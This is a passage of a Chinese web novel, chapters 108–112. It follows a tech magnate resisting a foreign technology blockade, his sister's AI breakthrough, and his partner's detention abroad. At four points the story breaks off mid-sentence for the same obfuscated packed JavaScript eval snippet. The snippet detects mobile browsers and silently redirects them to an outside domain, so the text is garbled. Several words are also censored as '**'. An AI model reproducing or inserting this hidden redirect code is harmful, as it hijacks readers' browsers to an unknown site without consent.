陆沉渊穿着一身厨师服，正在给学生们打菜。 今天陆沉渊负责的是红烧肉。 他打菜的手很稳，每一勺都不多不少。 任茜带着李振华一行人走了进来。 学生们看到任茜，很多人都认识她，都恭敬地喊“任总”。 任茜点点头，领着他们，拿着餐盘排着队，很快走到了打菜的窗口前。 李振华看着眼前这个戴着高高厨师帽的年轻人，有些疑惑。 “陆总。”任茜轻声说。 陆沉渊抬起头，对李振华笑了笑。 “李博士，欢迎回家。” 他没有握手，只是将一勺热气腾腾的红烧肉，浇在李振华的米饭上。 “先吃饭。”他说，“我们不谈工作，只谈家常。” 李振华愣住了。 他想象过无数种见面的场景。 在顶级的会议室。 在森严的实验室。 他唯独没想过，是在一所技校的食堂里。 而那个传说中，搅动了世界风云的陆沉渊，正在给他打饭。 这一刻，他所有的戒备、所有的不安都消失了。 他感觉，自己不是被招揽回来的科学家。 而是一个远行归来的家人。 饭后，陆沉渊带着李振华在校园里散步。 “陆总，外界都说您疯了。”李振华还是没忍住。 “是吗？”陆沉渊笑了，“或许吧。” 他指着旁边实验楼里，那些埋头做实验的年轻人。 “李博士，您看他们。” “他们，是渊龙科技专科学校的学生。” “三年前，我送他们去全世界最好的地方学习。” “现在，他们回来了。” “他们不懂资本，不懂市场，不懂股价。” “他们只懂技术，懂材料，懂工艺。” “他们，就是我敢于‘疯狂’的底气。” 李振华顺着他指的方向看去。 通过玻璃，李振华看到那些年轻的脸庞，专注，而纯粹。 他忽然明白了。 陆沉渊不是在做企业。 他是在建立一个生态。 一个可以自给自足，自我循环，不受外界风雨影响的生态。 渊龙科技的退市行为，只是把这个生态的围墙，建得更高，更厚。 “李博士，我给你的薪水也许不是世界第一的。”陆沉渊看着他，眼神真诚。 “但我可以给你，一片没人打扰的，可以安安静静做一辈子研究的土壤。” “我只有一个要求。” “把你的本事，毫无保留地教给这些孩子。” “让他们，站上你们的肩膀。” 李振华沉默了。 许久之后，他对着陆沉渊伸出了手。 “陆总，我懂了。” 很快，一个消息以极其恐怖的速度，在科技圈传开了。 光刻胶专家李振华团队，全员归国，加入汗青科技！ 这条消息，比渊龙退市更让A国震惊。 他们封锁了技术，封锁了设备。 但他们，没能锁住人心。 而连锁反应，才刚刚开始了。 第108章 发芽 一周之内。 又有三位在各自领域，处于世界顶尖水平的夏国科学家宣布回国。 他们的目的地只有一个，汗青科技。 归雁，开始还巢。 与此同时，另一股力量也在悄然改变着战局。 汗青科技的GPU芯片开始宣布量产。 夏国最大的通讯设备商，宣布其最新的5G基站的核心射频芯片，实现全国产化替代。 其供应商名单里，出现了一个陌生的名字，“北斗芯辰”。 没人知道，这家公司的创始人，就是渊龙科技专科学校的第一届毕业生。 他手里拿着的，是当初陆沉渊投资的天使轮。 紧接着，墨氏集团，宣布其电池管理系统，取得重大突破。 …… 一家家夏国科技公司，纷纷宣布，在关键领域，找到了替代方案。 虽然性能上，还有差距。 但已经解决了“有”和“无”的问题。 星星之火，开始燎原。 那些三年前，被陆沉渊种下的种子。 在最寒冷的冬天，破土而出，生根发芽。 它们汇聚在一起，形成了一道堤坝。 一道足以抵御滔天巨浪的，坚固的堤坝。 ………… 同一时刻。 渊龙科技研究所，人工智能实验室。 这里已经更名为“开天”计划的核心地带。 空气里，全是功能饮料和咖啡混合的古怪味道。 白板上，写满了密密麻麻的公式和代码。 苏阳的眼睛，像兔子一样红。 他面前的屏幕上，是一片红色的错误提示。 “不行……还是不行。”他喃喃自语，声音沙哑， “这个架构，在逻辑层面就走不通。算力消耗，是指数级的。” “我们的方向，可能错了。”一个研究员绝望地说。 整个团队，已经连续一个月，每天只睡不到六个小时。 所有人都到了崩溃的边缘。 陆若溪站在白板前。 她一动不动，像一尊雕塑。 她的头发有些凌乱，脸色苍白。 但她的眼睛，依然明亮。 她在思考，在进行着一场只有她自己能懂的，风暴般的头脑演算。 她在挑战的，是这个领域最底层的基础公理。 就像，要推翻牛顿定律一样。 “苏阳。”她忽然开口。 苏阳抬起疲惫的头。 “你过来。” 苏阳走到她身边。 陆若溪拿起一支记号笔，在白板上，画了一个圈。 “我们一直想的，是如何让机器，模仿人类的大脑去思考。” “对。” “但为什么，一定要模仿？”陆若溪问。 苏阳愣住了。 她的声音很轻，却像一道闪电，劈开了苏阳脑中的迷雾。 对啊。 为什么？ 这是所有人都默认的前提。 却从来没人问过，这个前提，是否正确。 “我们不需要模仿。” 陆若溪的笔，在白板上飞舞。 一个个全新的，颠覆性的数学模型，被她写了出来。 “我们需要创造一种，完全属于机器的，全新的智能范式。” “它不基于模仿，而基于纯粹的数学逻辑。” “它不是‘像人一样思考’。” “它是，‘神’的思考方式。” 苏阳看着那些公式。 那是一种他从未见过的，简洁、优美、却又蕴含着无穷力量的数学语言。 他看懂了，瞬间醍醐灌顶。 他全身的血液，都沸腾了起来。 “我明白了……”他颤抖着说，“我明白了！” 他冲回自己的电脑前，双手重新放回键盘。 这一次，他的手指不再迟疑。 代码如流水般，从他指尖倾泻而出。 那不再是对旧框架的修补。 而是，用一种全新的语言，构建一个全新的世界。 整个实验室的人，都围了过来。 他们看着屏幕上飞速滚动的代码。 看着陆若溪在白板上，构建出的那个神迹般的理论。 所有人的呼吸，都屏住了。 一个小时后。 苏阳停下了手。 他按下了回车键。 “‘开天’模型，第一次编译，开始。” 所有人的心，都提到了嗓子眼。 进度条，出现了。 它没有像过去无数次那样，卡在百分之五，然后弹出一片红色。 它在跳动。 10%…… 30%…… 70%…… 100%。 编译成功。 绿色的提示符，出现在屏幕中央。 整个世界，安静了三秒钟。 然后，是震天的欢呼。 无数人拥抱在一起，喜极而泣。 苏阳瘫坐在椅子上，看着屏幕上的那行绿色，笑了。 笑着笑着，眼泪就流了下来。 陆若溪靠在白板上，长长地吐出了一口气。 她看着窗外，东方的天际，不知何时已经露出了一丝鱼肚白。 新的一天，要来了。 她拿出手机，给陆沉渊发了一条信息。 只有一句话。 “哥，天亮了。” …… 夜深了，云顶壹号。 陆沉渊的公寓里，只亮着一盏温暖的落地灯。 陆沉渊刚处理完最后一封邮件。 他走出书房，看到墨清漓正坐在地毯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348554|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 她面前，放着一个并不起眼的木盒。 那是陆沉渊用来放一些零散物件的地方，他自己都快忘了。 墨清漓手里，正捏着一个东西。 是一个手工制作的锡绣挂件，纹路有些笨拙，甚至可以说是一个失败品。 “在看什么？”陆沉渊走过去，在她身边坐下。 墨清漓抬起头，月光般的灯火映在她眼中，漾起温柔的笑意。 “在看你的‘黑历史’。” 她将那个小小的挂件递到他眼前。 “我记得，你把最好的那个送给了我。为什么要把这些失败品留着？” 陆沉渊的目光落在那个挂件上，神情微顿。 他没有回答，只是从她手中接过挂件，那略显粗糙的边缘，还留着他当初不熟练的痕迹。 墨清漓的目光又落回木盒里。 她从里面，又拿起一张被妥善保存的纸条。 纸条已经有些泛黄，上面的字迹却依旧苍劲有力。 “37℃环境下需降容15%，保命用。” “还有这个，我当时搬上来的时候，以为弄丢了。”她轻声说， “原来是你收起来了。” 这张纸条，是他们故事真正的开始。 一场心照不宣的试探，一次命运的交汇。 陆沉渊看着那张纸条，又看了看手里的挂件。 他好像总是这样。 从不说什么，只是默默地做。 从一张没头没尾的纸条，再到西山顶上那晚清冷的月光和两道交叠的身影。 再到到这个笨拙的锡绣挂件。 那些旁人看不懂的细节，只有她懂。 墨清漓看着他沉默的侧脸，缓缓开口，声音轻柔却无比清晰： “阿渊，你好像总是在用你的方式，告诉我一些事情。” “告诉我，你会保护我。告诉我，你在乎我。告诉我，你就在这里。” 陆沉渊的心，被这句话轻轻触动了。 他将挂件和纸条，小心翼翼地放回盒子里，然后合上了盒盖。 那些过往的痕迹，不必再时时检阅，它们早已化为基石，筑成了现在的他们。 “都过去了。”他说。 “嗯，都过去了。”墨清漓微笑着，主动靠在他的肩膀上。 这个动作，已经无比自然。 “外面的战争，已经够辛苦了。”她轻声说， “但在这里，我感觉很安心。” “这个家，是我们的堡垒。” 陆沉渊的心，彻底柔软下来。 他转过头，深深地吻住了她。 这个吻带着无尽的温柔，和尘埃落定的安宁。 窗外，是京州的万家灯火。 窗内，是属于他们的二人世界。 他们是这风雨飘摇的世界里，彼此最坚实的依靠。 第109章 秦雅的选择 在这场巨大的逆全球化浪潮里，不单单是渊龙科技这样的企业收到冲击。 秦氏集团，也未能幸免。 作为夏国新能源领域的另一巨头，秦氏的海外供应链同样遭受重创。 股价连续三天大幅下跌，集团内部一片愁云惨雾。 秦雅的办公室里，气氛压抑得像凝固的冰。 她面前的桌上，放着两份文件。 一份，是集团的亏损评估报告，每一个数字都触目惊心。 另一份，是一份来自A国的合作意向书。 措辞优雅，条件诱人。 只要秦氏愿意配合A国的产业策略，他们可以提供技术授权，开放部分市场。 代价是，与渊龙科技、墨氏集团等企业，彻底划清界限。 成为他们插在夏国科技圈的一把刀。 “秦总，A国代表团的专员，已经在会客室等了半个小时了。”秘书的声音，带着一丝不易察觉的颤抖。 秦雅没有说话，她只是看着窗外。 京州的天空，灰蒙蒙的。 这是一个岔路口。 向左，是低头，是捷径，是依附。 可以活下来，甚至活得很好。 向右，是抗争，是荆棘，是孤独。 而且，可能会死。 她脑海里，不受控制地浮现出陆沉渊的脸。 那个男人，在所有人狂欢的时候，选择了种树。 在风暴来临前，他已经加固了堤坝。 他从来不走容易的路。 还有墨清漓。 那个她一直视为对手的女人。 风暴来临的那一天，墨氏集团第一个站出来，宣布全面支持渊龙科技。 她们，都选了那条最难的路。 如果自己选择了低头。 那她秦雅，就真的输了。 输得一败涂地。 不是输在市场上，而是输在格局，输在眼光，以及，输在骨气上。 “让他们滚。” 秦雅开口，声音不大，却很清晰。 秘书愣住了。 “秦总？” “听不懂吗？”秦雅转过身，眼神锋利如刀，“我不想再见到他们。” 秘书一个激灵，立刻退了出去。 秦雅的办公室里，恢复了安静。 秦雅拿起那份A国的意向书，慢慢地，将它撕成碎片。 然后，毫不留恋地扔进了垃圾桶。 她拨通了内线电话。 “通知所有部门总监，半小时后，顶层会议室开会。” “是，秦总。” 秦氏集团的紧急会议，开得像一场风暴。 “我决定。” 秦雅站在会议室主位，声音不大，却掷地有声。 “第一，全面收缩集团海外业务，放弃所有存在风险的合作项目。” “第二，将节省下来的资金，全部投入国内供应链的扶持与重建。” “第三，立刻派人，去接触墨氏集团。” 会议室里，瞬间炸开了锅。 “秦总，这不行啊！” “收缩业务等于**！” “跟墨氏合作？他们可是我们的死对头！” “安静。” 秦雅冷冷地吐出两个字。 喧闹的会议室，瞬间安静下来。 所有人都看着她，这个向来任性妄为的大小姐。 今天的她，眼神里有一种他们从未见过的东西，是决心，甚至是一种信念。 “我们和墨氏，在某些领域，可以成为盟友。”秦雅缓缓说道。 “唇亡齿寒的道理，墨清漓懂，我也懂。” “风险，要一起扛。冬天，要抱团取暖。” “这是命令，不是商议。” 她环视一周，没有人再敢反驳。 “散会。” 她率先走出会议室，留下一屋子震惊的高管。 秦雅回到办公室，感觉身体像被抽空了一样。 做出决定，只需要一瞬间的勇气。 但承担这个决定带来的后果，却需要漫长的时间。 她瘫坐在沙发上，闭上眼，揉着发痛的太阳穴。 办公室的门，被轻轻推开了。 她以为是秘书，没有睁眼。 “不是让你别来烦我吗？” 一个熟悉又带着一丝安稳的声音响起。 “雅姐姐，你看起来很累。” 秦雅听到这个声音，微微一怔，然后睁开眼，皇甫城逝已经站在她面前。 他穿着简单的白色T恤和牛仔裤，一副风尘仆仆的模样，眼底却带着清亮的光。 他不再是那个需要耍赖才能留下的小孩了。 只是静静地站在那里，就有一种让人心安的力量。 “你怎么来了？”秦雅皱眉，语气却不自觉地软化。 “新闻铺天盖地，我怕你一个人扛不住。” 皇甫城逝很自然地走到她身边，将一个保温饭盒放在茶几上。 “我让家里阿姨给你炖的汤，喝点吧。” 他没有多问公司的事，只是安静地打开饭盒，将汤倒进碗里。 香气，瞬间弥漫开来。 秦雅的胃，不合时宜地叫了一声。 她才想起，自己已经快一天没吃东西了。 “公司一堆烂摊子，我没心情。”她嘴上这么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348555|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，眼睛却没离开那碗汤。 “我知道。”皇甫城逝将汤碗递到她手边，“所以，我带了点好消息给你。” “好消息？”秦雅自嘲地笑了笑，“现在对我来说，没有坏消息，就是最好的消息。” “‘锋芒一号’，”皇甫城逝的眼睛亮了起来，充满了少年人独有的骄傲和热忱， “在这场风暴里，不仅没有亏损，反而逆势盈利了百分之十二。” 秦雅端着汤碗的手，微微一顿。 “我的模型，提前半个月就监测到了市场极端情绪的累积，并且捕捉到了几个关键供应链异动的信号。”皇甫城逝的语气很平静，却充满了自信。 “所以，我在风暴来临前，就完成了所有多头仓位的对冲，并且建立了足够的空头头寸。” “雅姐姐，你的投资，赚到钱了。” 秦雅的心，像是被什么东西轻轻撞了一下。 在这满是坏消息的冬天里，这几乎是她听到的唯一的好消息。 这笔钱，对秦氏集团的困境来说，杯水车薪。 但它证明了一件事。 她放弃厉烬川那种旧时代的莽夫，选择皇甫城逝这样的技术信徒，是正确的。 或者说，选择皇甫城逝，是正确的。 她的眼光，没有错。 “做得不错。”她喝了一口汤，温热的液体滑入胃中，驱散了些许寒意。 皇甫城逝看着她，没有继续炫耀自己的成绩，反而认真地说道： “雅姐姐，‘锋芒一号’的核心，其实是一套信息处理和逻辑推演系统。它能从海量的信息里，找出关联，预测趋势。” “或许……它现在还帮不上集团的大忙。” “但是，如果你要扶持国内的供应链，需要评估哪些企业值得投资，哪些企业是空壳……或许，我的模型，可以帮你做一些基础的筛选和分析工作。” “我想帮你。” 秦雅抬起头，认真地看着皇甫城逝。 眼前的少年，脸上还带着一丝稚气，但他的眼神，他的谈吐，他思考问题的方式，都在告诉她，他已经长大了。 他不再是那个只会在她面前撒娇卖痴的小弟弟。 他正在努力成长为，可以和她站在一起，共同面对风雨的男人。 “好啊。” 秦雅看着他，忽然笑了。 这是这场风暴以来，她第一个发自真心的笑容。 她接过了那碗汤，一口一口，慢慢喝完。 仿佛喝下的，是无穷的勇气和希望。 窗外的天，似乎没有那么灰暗了。 第110章 自私和无私 夜，已经很深了。 云顶壹号，陆沉渊和墨清漓的公寓里灯火通明。 墨清漓正在进行一场跨洋的线上会议。 屏幕上，J国分公司负责人的脸，憔悴而焦虑。 “墨总，情况很糟糕。” “J国以‘危害国家能源安全’为由，单方面中止了我们三期项目的合同。” “我们的账户被冻结，所有外派核心员工，都被限制离境。” “这已经不是简单的合同纠纷。背后，有A国的影子。” 墨清漓静静地听着，脸上没有一丝波澜。 “稳住团队，不要自乱阵脚。” “安抚好被限制的员工，告诉他们，公司是他们最坚实的后盾。” “我明天就到。” “墨总，您不能来！”负责人立刻反对，“这是个陷阱！” “正因为是陷阱，我才必须去。” 墨清漓的语气不容置疑。 “这是墨氏集团的阵地，我不能退。” 她挂断了通讯，书房里陷入一片死寂。 不过一会儿，门口传来敲门声，然后陆沉渊推门进来了。 他没有说话，只是看着她。 眼神里，有她从未见过的，强烈的不安。 “你都知道了。”墨清漓说。 “嗯。”陆沉渊平静地回答道。 “我要过去一趟。”墨清漓平静地陈述。 “不许去。”陆沉渊的回答，是从未有过的强硬反对。 这是他第一次，用这种命令的口吻和她说话。 “阿渊，这是墨氏的事。” “现在没有墨氏和渊龙之分。”陆沉渊走到她面前，双手按住她的肩膀， “这是冲着我们来的。冲着夏国所有不肯低头的企业来的。” “我知道。” “你知道这是个局，你还要跳进去？”陆沉渊的声音，第一次透出了一丝失控的怒意。 “我必须跳。”墨清漓直视着他的眼睛，目光清澈而坚定， “如果连我这个主帅都怕了，退缩了，你让墨氏数万员工怎么想？让那些跟着我们一起对抗封锁的同盟企业怎么想？” “士气，比一个项目更重要。” “我可以用渊龙的资源，去解决这件事。”陆沉渊说，“我在J国，有人。” “这是战争，阿渊。”墨清漓摇了摇头， “战争，就没有不**的。我不能永远躲在你身后，让你替我挡下所有的**。” “我是你的爱人。” “你首先是墨清漓。”陆沉渊打断了她，一字一句地说，“然后才是我的爱人。” “这不是你的责任。” 墨清漓笑了。 “那你呢？”她反问，“你创建‘汗青’，是为了什么？你退市，又是为了什么？你散尽千金，去办那些不赚钱的技校，又是为了什么？” “你心里装着家，装着国，装着这个时代的未来。你总是那么无私。” “所以这一次，请允许我，也像你这样，无私一次。” 她的话，像一根针，扎在陆沉渊心上最柔软的地方。 他所做的一切，她都懂。 正因为懂，她才要做同样的选择。 陆沉渊看着她。 看着这个永远冷静、永远坚韧、永远与他并肩而立的女人。 他所有的道理，所有的劝说，在她的目光面前，都显得苍白无力。 他沉默了许久。 再开口时，声音里充满了无力的疲惫。 “清漓，我想自私一次。” 墨清漓看着这个一向沉稳如山，撑起一个家族，撑起一片产业，甚至敢于站在时代浪潮最前沿为万人开路的男人。 此刻，眼中却流露出一丝近乎哀求的神色。 像一个害怕失去一切的孩子，脆弱得让墨清漓的心，瞬间揪紧了。 她走上前，伸出手，轻轻抚摸着他的脸颊。 他的脸上，写满了她从未见过的彷徨和恐惧。 原来，他也会怕。 原来，在她面前，他也会有这样无助的一面。 这一刻，她心中所有的家国大义，所有的责任担当，都被一种更柔软、更滚烫的情绪所融化。 她踮起脚尖，吻住了他的唇。 起初，只是一个轻柔的碰触。 像羽毛，拂过心湖。 然后，她加深了这个吻。 陆沉渊下意识地回应，双臂将她紧紧揽入怀中，力道大得仿佛要将她揉进自己的骨血里。 这个吻，不再温柔。 充满了占有、恐惧和不舍。 空气，变得滚烫。 不知过了多久，唇分。 两人额头相抵，呼吸交织，急促而热烈。 “好。”墨清漓看着他的眼睛，轻声说，“我们……从长计议。” “听你的。” 陆沉渊的声音，沙哑得厉害。 他以为，她妥协了。 他心中的巨石，暂时落了地。 他弯腰，将她打横抱起，走向卧室。 这一晚的墨清漓，比以往任何时候，都要热烈。 像一团燃烧的火焰，毫无保留地绽放。 仿佛要将自己全部的生命力，都交付给眼前的这个男人。 每一次的拥抱，都用尽全力。 每一次的亲吻，都带着决绝。 陆沉渊沉浸在她罕见的热情里，没有察觉到，那火焰之下，深藏着的不舍与告别。 他只知道，他不能失去她。 绝对不能。 …… 第二天。 清晨的阳光，透过落地窗，洒进卧室。 陆沉渊醒来时，身边的位置已经空了。 但还残留着她的温度和气息。 他走出卧室，看到墨清漓已经在厨房里。 她穿着一身居家的便服，正在准备早餐。 虽然，平时一般都是陆沉渊准备早餐。 不过，看起来一切，都和往常并无不同。 仿佛昨晚那场激烈的争执，和那场滚烫的缠绵，都只是一场梦。 “醒了？”墨清漓回头，对他笑了笑，“快去洗漱，今天你不是还有个重要的会吗？” 陆沉渊看着她。 她脸上的笑容，温柔而宁静。 看不出丝毫异样。 他心中的疑虑，被打消了。 他想，她终究还是听进去了。 “嗯。”他点点头，走进了洗漱间。 早餐很简单，却很温馨。 两人都没有再提J国的事。 他们聊着“开天”计划的最新进展，聊着秦雅居然真的和墨氏达成了初步合作。 气氛轻松得，就像任何一个普通的清晨。 吃完早餐，陆沉渊换好衣服。 一身深色的正装，让他显得愈发沉稳。 “我要去西山开会。”他说，“顶级保密会议，手机要上交。可能要几天时间。” “好。”墨清漓走上前，替他整理了一下领带。 然后，她用微凉的指尖，轻轻的抚摸着脸庞。 “阿渊。”她仰头看着他。 “嗯？” “等我回来。”陆沉渊低头，在她额上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348556|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印下一吻。 他没让她把话说出口。 他以为，她想说的是“注意安全”，更怕她说出什么其它的话。 墨清漓看着他，眼眶微微有些发热，但她还是忍住了。 她对他露出一个灿烂的笑容。 “好，我等你。” 陆沉渊转身离去。 墨清漓一直站在门口，看着他的车，缓缓驶出小区，直到消失在视线里。 她脸上的笑容才慢慢敛去，取而代之的是一种前所未有的坚定。 她回到房间，迅速换好了一身干练的职业套装。 然后，拿出手机，拨通了助理的电话。 “半小时后，楼下等我。” “送我去机场。” 助理在那头愣了一下，“墨总，去哪个机场？” “国际机场。” “好的，墨总。”助理不敢多问，立刻应下。 墨清漓挂掉电话，拿起自己的手提包，最后看了一眼这个充满了她和陆沉渊回忆的家。 她走到进书房，提起早已收拾好的行李箱，决然地走出了门。 …… 京州国际机场，贵宾休息室。 墨清漓坐在沙发上，静静地等待着登机。 她的手机震动了一下，是陆若溪发来的信息。 “清漓姐，我哥说他去开会了。‘开天’计划有了突破性进展，等你回来，我们详聊。” 墨清漓看着信息，嘴角泛起一抹温柔的笑意。 她回复道：“好。替我恭喜你和苏阳。你们，是夏国的未来。” 然后，她点开与陆沉渊的对话框。 手指在屏幕上，缓缓敲下一行字。 她的目光温柔而眷恋，带着不舍，更带着一往无前的勇气。 “阿渊，当你看到这条信息时，我应该已经在J国了。” “请原谅我的不告而别。” “我们是爱人，更是战友，是同行者。” “你曾说，你想为我自私一次。那么今天，请允许我为你，为我们共同守护的一切，无私一次。” “我不能总让你一个人，站在风暴的最前方。” “这一次，换我来。” “而且，我一直都相信。这个世界上，没有什么能困住你。也没有什么，能将我们分开。” “所以，我并不害怕。” “因为我知道，就算真的发生了什么意外，你也一定会找到我，把我带回家。” “永远爱你的，漓。” 然后，墨清漓点下发送，关掉了手机。 登机提示音，响了起来。 墨清漓站起身，拉着行李箱走向登机口。 她的背影，纤细却挺拔。 像一株迎着风雪，也要向上生长的冬梅。 …… 西山，保密会议室。 气氛严肃。 在座的，都是夏国政、军、产、学、研各界的顶级人物。 陆沉渊坐在其中，很多人过来和陆沉渊打招呼。 也有些人并没直接上前，却也遥遥地，向着陆沉渊，或致敬，或颔首。 陆沉渊三年前种下的树，如今已经长成了森林。 成为了整个国家战略布局中，不可或缺的一环。 所有人，都被这个男人的深远谋划所折服。 就算最大的竞争对手，也不得不对这个男人致以敬意。 可不知为何，陆沉渊今天始终心神不宁，眼皮一直在跳。 一种强烈的不安感，像潮水般将他淹没。 他强迫自己集中精神。 终于，会议开始了。 第111章 消失的爱人 西山的保密会议开始了。 议题只有一个，就是如何应对A国发起的愈演愈烈的全面技术封锁。 “必须对等反击！” 一位军方背景的老者，声音洪亮，态度强硬。 “他们制裁我们一百家企业，我们就制裁他们两百家！” “他们敢关一扇门，我们就敢砌一堵墙！” “不能让他们以为，我们夏国人是好欺负的！” 他的话引起了不少人的共鸣。 会议室里，弥漫着一股同仇敌忾的激昂情绪。 以牙还牙，以眼还眼。 这是最直接，也最解气的选择。 主持人将目光，投向了全场最年轻的参会者。 “沉渊同志，你的看法呢？” 一瞬间，所有人的目光都集中在了陆沉渊身上。 他从会议开始，就一直沉默着。 既没有附和，也没有反驳。 只是静静地听着，像一个局外的观察者。 听到领导点名，陆沉渊站起身。 他没有看任何人，只是平静地走到了会议室中央的地图前。 那是一幅巨大的世界地图。 “各位领导，各位前辈。” 他的声音不大，却有一种能让所有喧嚣沉静下来的力量。 “A国希望我们做什么？” 陆沉渊并没有直接回答问题，而是提出了一个问题。 不等众人回答，他自己给出了答案。 “他们希望我们愤怒，希望我们冲动，希望我们和他们一样，去筑起高墙。” “因为在一个相互隔绝、彼此敌视的世界里，他们，依然是规则的制定者。” “我们如果选择对等报复，恰恰是走进了他们最希望我们走进的棋局里。” “用他们的规则，去打一场他们早已准备好的战争。胜算，不大。” 会议室里，安静下来。 众人激昂的情绪，被冰冷的现实所冷却。 “那我们该怎么办？忍气吞声吗？”有人不甘地问。 “不。” 陆沉渊摇了摇头。 他的手指，在地图上，从A国的位置，缓缓划过。 “教员当年，打天下的时候，用过十六个字。” 他顿了顿，缓缓开口道， “敌进我退，敌驻我扰，敌疲我打，敌退我追。” 在座的老者们，眼神瞬间变了。 这十六个字，早已刻进了他们的骨血里。 那是弱者战胜强者的究极智慧。 “现在，就是‘敌退我追’的时候。” 陆沉渊的指尖，点在了广袤的海洋上。 “A国主动举起壁垒，放弃全球化的主导权，这是战略性的收缩，是‘退’。” “他退出来的巨大空间，就是我们要‘追’的阵地。” “我们不筑墙。相反，我们要把门开得更大。” “他们不卖的，我们卖。他们不去的，我们去。他们不带的，我们带。” “用我们的标准，我们的技术，我们的方案，去团结一切可以团结的力量。” “A国想把世界**成两个。那我们就努力，把世界融合成一个。一个由我们主导的，更开放、更公平、更普惠的新秩序。” “这不是退让，这是进攻。是用太极，去打败拳击。” 陆沉渊的话掷地有声。 整个会议室，落针可闻。 所有人都被他描绘出的这幅宏大蓝图，深深震撼了。 这已经不是一个企业家的思路。 这是一个顶级战略家的阳谋。 过了良久，坐在主位上的领导人，缓缓点头，率先鼓掌。 “说得好。” 他的声音带着一丝不易察觉的欣赏。 “用开放对抗封闭，用融合瓦解壁垒。这才是我们的大国之道。” “这个议题，就按照沉渊同志提出的框架，再议三天。” “我们要拿出一个，能指导未来二十年的方案来。” 领导人的话一锤定音。 会议室里，响起了雷鸣般的掌声。 陆沉渊坐回原位，脸上依旧古井无波。 只是，不知为何，他心头那股不安的感觉，愈发强烈了。 仿佛有一件对他而言，比这场国运之争更重要的事，正在失控。 他强迫自己，将心神重新投入到接下来的讨论中。 **的是，在他为这个国家规划未来的时候。 他的未来，正在被拖入一个巨大的旋涡。 …… J国，哥都国际机场。 墨清漓走出机舱。 一股湿冷的空气，迎面扑来。 机场里的人不多，气氛有些异样的安静。 她一眼就看到了接机口那里，没有她熟悉的分公司负责人。 只有几个穿着深色西装，神情严肃的男人。 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348557|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站姿笔挺，眼神锐利，不像公司职员，更像是纪律部队。 墨清漓的心，微微一沉。 但她脸上没有丝毫变化，依旧步履从容，拉着行李箱朝那几人走去。 为首的男人，在她面前站定。 他微微鞠躬，态度堪称礼貌。 “是墨清漓女士吗？” “我是。” 男人出示了自己的证件。 “J国商业安全部门，皮耶罗。” “我们有理由怀疑，您与一起重大的商业机密窃取案有关，涉嫌危害我国能源安全。” “请您跟我们走一趟，协助调查。” 他的话，说得清晰、平缓。 只是每一个字似乎都像淬了冰一般。 周围的旅客下意识地退开，投来好奇又畏惧的目光。 墨清漓静静地看着他。 看着他那张看似恭敬，实则冰冷的脸。 她知道，该来的，还是来了。 这就是他们为她准备的“陷阱”。 一个以国家名义，精心布置的无法辩驳的罗网。 “我需要联系我的律师，以及夏国大使馆。” 她的声音同样平静，不带一丝情绪。 “很抱歉。”皮耶罗的脸上，露出一丝公式化的歉意， “在调查结束前，您不能与外界进行任何联系。” “这是规定。” 墨清一瞬间就明白了。 这不是法律问题，这是**问题。 跟他们**律，毫无用处。 墨清漓不再多言，只是点了点头，说了一个字。 “好。” 没有挣扎，没有愤怒，没有丝毫的失态。 她只是挺直了背脊，目光平静地环视了一周。 仿佛不是被带走调查的嫌疑人，而是来此巡视的女王。 那份从容和镇定，让皮耶罗的眼神，都出现了一丝细微的波动。 他做了个手势。 两名下属上前，一左一右，“护”在墨清漓身边。 墨清漓拉着自己的行李箱，在他们的包围下，走向机场外的黑色轿车。 她的背影，在机场明亮的灯光下，显得格外孤单。 却又带着一种，无法被折断的骄傲。 她不怕。 她在信息里，对陆沉渊说过。 她相信他。 相信他会来。 车门关上的那一刻，她与这个世界，暂时失去了所有联系。 第112章 你是我的世界 墨清漓被捕的消息像病毒一样，瞬间传遍了全球。 LT社，第一个发出快讯。 突发：夏国墨氏集团负责人墨清漓，在J国被捕！ 五分钟后，WF街的交易屏幕上，墨氏集团的股价开始断崖式下跌。 市场上恐慌情绪开始迅速蔓延。 秦氏集团。 